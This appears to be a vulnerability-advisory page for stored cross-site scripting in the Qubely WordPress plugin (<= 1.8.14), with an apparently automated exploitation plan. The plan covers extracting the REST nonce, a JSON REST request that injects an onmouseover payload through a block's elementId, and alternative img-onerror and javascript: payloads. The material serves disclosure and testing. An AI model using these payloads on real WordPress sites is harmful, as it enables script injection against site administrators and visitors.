Qubely <= 1.8.14 - Authenticated (Author+) Stored Cross-Site Scripting
Description
The Qubely plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 1.8.14 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with author-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
This plan outlines the steps required to research and exploit a Stored Cross-Site Scripting (XSS) vulnerability in the **Qubely** plugin (versions <= 1.8.14). ### 1. Vulnerability Summary The **Qubely – Advanced Gutenberg Blocks** plugin fails to properly sanitize or escape user-controlled block at…
Show full research plan
This plan outlines the steps required to research and exploit a Stored Cross-Site Scripting (XSS) vulnerability in the Qubely plugin (versions <= 1.8.14).
1. Vulnerability Summary
The Qubely – Advanced Gutenberg Blocks plugin fails to properly sanitize or escape user-controlled block attributes when rendering content. Since Gutenberg blocks are stored as JSON-like comments within the post_content of a WordPress post, an authenticated user with "Author" privileges (who can create and edit posts) can inject malicious JavaScript into these attributes. When the post is rendered on the frontend or viewed in the editor by another user (including an Administrator), the script executes.
2. Attack Vector Analysis
- Authentication Level: Author or higher (users allowed to use the Gutenberg editor).
- Vulnerable Endpoint: WordPress REST API post creation/update endpoint:
POST /wp-json/wp/v2/posts. - Payload Location: Within the
post_contentparameter, specifically inside a Qubely block's attribute JSON (e.g.,elementId,customClass, or content fields). - Preconditions: The Qubely plugin must be active. The attacker needs a valid Author session.
3. Code Flow
- Block Registration: Qubely registers various blocks (e.g.,
qubely/row,qubely/button,qubely/infobox). These blocks are defined indist/blocks.bundle.js(client-side) and often have associated PHP renderers. - Input: An Author saves a post via the Gutenberg editor. The editor sends a REST API request containing the
post_content. Qubely block attributes are serialized into the HTML comments:<!-- wp:qubely/blockname {"attribute":"value"} /-->. - Storage: WordPress saves this raw string into the
wp_poststable. - Sink (Rendering): When the post is viewed, WordPress parses the blocks. For dynamic blocks, Qubely uses a
render_callbackfunction (typically found inclasses/class-qubely-utils.phpor block-specific files). If these functions echo attributes likeelementIdorcustomClassNamewithout usingesc_attr(), the XSS is triggered.
4. Nonce Acquisition Strategy
To interact with the WordPress REST API, a _wpnonce (specifically the wp_rest nonce) is required for authentication via cookies.
- Identify Trigger: The REST nonce is globally available in the WordPress admin dashboard for logged-in users.
- Acquisition Steps:
- Log in as the Author user.
- Navigate to the "Add New Post" page:
/wp-admin/post-new.php. - Use
browser_evalto extract the nonce from thewpApiSettingsobject:browser_eval("window.wpApiSettings.nonce") - This nonce is valid for the
wp_restaction and is necessary for theX-WP-Nonceheader.
5. Exploitation Strategy
We will attempt to inject a payload into a common Qubely block attribute (e.g., elementId or customClassName) that is likely rendered as an HTML attribute.
Step 1: Test for Injection in qubely/row
- Action: Create a new post via the REST API.
- Method:
POST - URL:
/wp-json/wp/v2/posts - Headers:
Content-Type: application/jsonX-WP-Nonce: [EXTRACTED_NONCE]
- Payload (JSON Body):
(Note: The payload breaks out of the{ "title": "XSS Test Page", "content": "<!-- wp:qubely/row {\"elementId\":\"qubely-row-id\\\" onmouseover=\\\"alert(document.domain)\\\" style=\\\"position:fixed;top:0;left:0;width:100%;height:100%;\\\"\"} /-->", "status": "publish" }id="..."attribute using a double quote and adds anonmouseoverevent handler with a style that covers the page.)
Step 2: Triggering the XSS
- Action: Navigate to the URL of the newly created post (returned in the REST response as
link). - Verification: The script should execute when the mouse moves over the page.
6. Test Data Setup
- Plugin Installation: Install and activate Qubely <= 1.8.14.
- User Creation: Create a user with the
authorrole.wp user create attacker attacker@example.com --role=author --user_pass=password123 - Authentication: Log in to the execution environment as
attacker.
7. Expected Results
- The REST API call should return a
201 Createdstatus code. - The
post_contentin the database should contain the unescaped payload. - When viewing the post frontend, the HTML source should look like:
<div id="qubely-row-id" onmouseover="alert(document.domain)" ... class="qubely-block-row ..."> - A browser alert showing the document domain should appear.
8. Verification Steps
After performing the HTTP request, verify the storage of the payload using WP-CLI:
# Get the latest post ID
POST_ID=$(wp post list --post_type=post --format=ids | awk '{print $1}')
# Check the content for the payload
wp post get $POST_ID --field=content | grep "onmouseover"
9. Alternative Approaches
If the elementId attribute is sanitized, try these alternatives:
customClassNameAttribute:<!-- wp:qubely/row {"customClassName":"\" onmouseover=\"alert(1)\""} /-->- Generic Text Block Content:
If Qubely provides a "Text" or "Heading" block, check if raw HTML is allowed in thecontentattribute:<!-- wp:qubely/heading {"content":"<img src=x onerror=alert(1)>"} /--> - Button URL:
Check if thequbely/buttonblock allowsjavascript:URIs in thelinkattribute:<!-- wp:qubely/button {"url":"javascript:alert(1)"} /-->(Note:esc_urlusually catches this, but many plugins use custom rendering).
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.